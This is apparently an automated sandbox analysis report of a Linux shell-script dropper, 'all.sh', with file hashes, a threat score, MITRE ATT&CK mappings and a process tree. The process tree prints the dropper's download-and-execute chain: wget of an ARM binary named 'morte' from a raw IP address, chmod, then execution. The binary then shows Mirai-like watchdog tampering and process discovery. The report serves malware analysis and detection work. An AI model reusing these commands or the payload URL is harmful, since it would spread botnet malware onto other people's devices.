a01ff2bc22326ab8d47d2d7119a0051097537ff6f8032ea6d60ee678f52dbdfa

Analysis

max time kernel
144s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/09/2026, 08:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
all.sh
Size 2KB
Sample260904-j84q8aware
SHA256 a01ff2bc22326ab8d47d2d7119a0051097537ff6f8032ea6d60ee678f52dbdfa
MD5 7c904c925055359b3ee8599f907aa0d2
SHA1 b0345110464e6fe52976079645ce085ec3248cb1
SHA512 cb7640edc22418dc22f6ef4cbc7ce8ddacb4aeef2c857f68b3cbed5ef8ce3319fa933fdef27a580ac8eb35a1a2a9af52c90137afea06405807ed56b8851cec62
TLSH
T1385144F62726673381AF8AE697E2574AA04540537CD80BF0FBEC65103F56FD9BC8A501
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
675	chmod
758	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/morte	676	all.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	morte
File opened for modification	/dev/misc/watchdog	morte

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	morte
File opened for modification	/bin/watchdog	morte

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/status	morte
File opened for reading	/proc/25/status	morte
File opened for reading	/proc/41/status	morte
File opened for reading	/proc/284/status	morte
File opened for reading	/proc/638/status	morte
File opened for reading	/proc/5/status	morte
File opened for reading	/proc/7/status	morte
File opened for reading	/proc/24/status	morte
File opened for reading	/proc/292/status	morte
File opened for reading	/proc/636/status	morte
File opened for reading	/proc/21/status	morte
File opened for reading	/proc/29/status	morte
File opened for reading	/proc/646/status	morte
File opened for reading	/proc/6/status	morte
File opened for reading	/proc/9/status	morte
File opened for reading	/proc/28/status	morte
File opened for reading	/proc/579/status	morte
File opened for reading	/proc/23/status	morte
File opened for reading	/proc/222/status	morte
File opened for reading	/proc/300/status	morte
File opened for reading	/proc/679/status	morte
File opened for reading	/proc/17/status	morte
File opened for reading	/proc/20/status	morte
File opened for reading	/proc/169/status	morte
File opened for reading	/proc/567/status	morte
File opened for reading	/proc/676/status	morte
File opened for reading	/proc/8/status	morte
File opened for reading	/proc/110/status	morte
File opened for reading	/proc/135/status	morte
File opened for reading	/proc/2/status	morte
File opened for reading	/proc/10/status	morte
File opened for reading	/proc/12/status	morte
File opened for reading	/proc/109/status	morte
File opened for reading	/proc/643/status	morte
File opened for reading	/proc/26/status	morte
File opened for reading	/proc/312/status	morte
File opened for reading	/proc/591/status	morte
File opened for reading	/proc/22/status	morte
File opened for reading	/proc/99/status	morte
File opened for reading	/proc/259/status	morte
File opened for reading	/proc/325/status	morte
File opened for reading	/proc/590/status	morte
File opened for reading	/proc/642/status	morte
File opened for reading	/proc/15/status	morte
File opened for reading	/proc/27/status	morte
File opened for reading	/proc/160/status	morte
File opened for reading	/proc/678/status	morte
File opened for reading	/proc/1/status	morte
File opened for reading	/proc/3/status	morte
File opened for reading	/proc/13/status	morte
File opened for reading	/proc/14/status	morte
File opened for reading	/proc/16/status	morte
File opened for reading	/proc/107/status	morte
File opened for reading	/proc/149/status	morte
File opened for reading	/proc/42/status	morte
File opened for reading	/proc/78/status	morte
File opened for reading	/proc/138/status	morte
File opened for reading	/proc/323/status	morte
File opened for reading	/proc/633/status	morte
File opened for reading	/proc/4/status	morte
File opened for reading	/proc/11/status	morte
File opened for reading	/proc/18/status	morte
File opened for reading	/proc/307/status	morte
File opened for reading	/proc/282/status	morte

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/morte	wget

/tmp/all.sh
/tmp/all.sh
1⤵
- Executes dropped EXE
PID:646
- /bin/uname
  uname -m
  2⤵
  PID:651
- /usr/bin/wget
  wget -q http://180.93.111.142/00101010101001/morte.arm7 -O morte
  2⤵
  - Writes file to tmp directory
  PID:656
- /bin/chmod
  chmod +x morte
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/morte
  ./morte
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:676
- /bin/chmod
  chmod +x /var/www/html/all.sh
  2⤵
  - File and Directory Permissions Modification
  PID:758

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

morte

Path /tmp/morte
Size 97KB
SHA256 5196899532a56e73454398678e30c3f4d1091f084a861d36b6213b0a529e4c4f
MD5 9b121821ff94253c42078e0c2090d22f
SHA1 01036cdac018654c42aee440e49badab5abcf6fe
SHA512 8fa6f6eb9d60c2ce7ebd165469b3b374b760d71b897688ac71814c6c7e97a7e45eeceb1dc0694049cb1c03bd5b9be3668e269bb9ad8d2e37d7104af9a4315c32
SSDEEP 1536:Nzey2nUUujiAzqjFwkinQ0Gd3QAqcO5ALRs82NdU+F92uDlG4Szgr3GZm14Rk37g:NKy2UUSgjFMJG+Z2i3Bnl4zgCZU76
TLSH
T15EA31B5AF890DE62C6D4267AFA5E118C33130B78D2DA31068D149F3537EB96E0B7F906
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download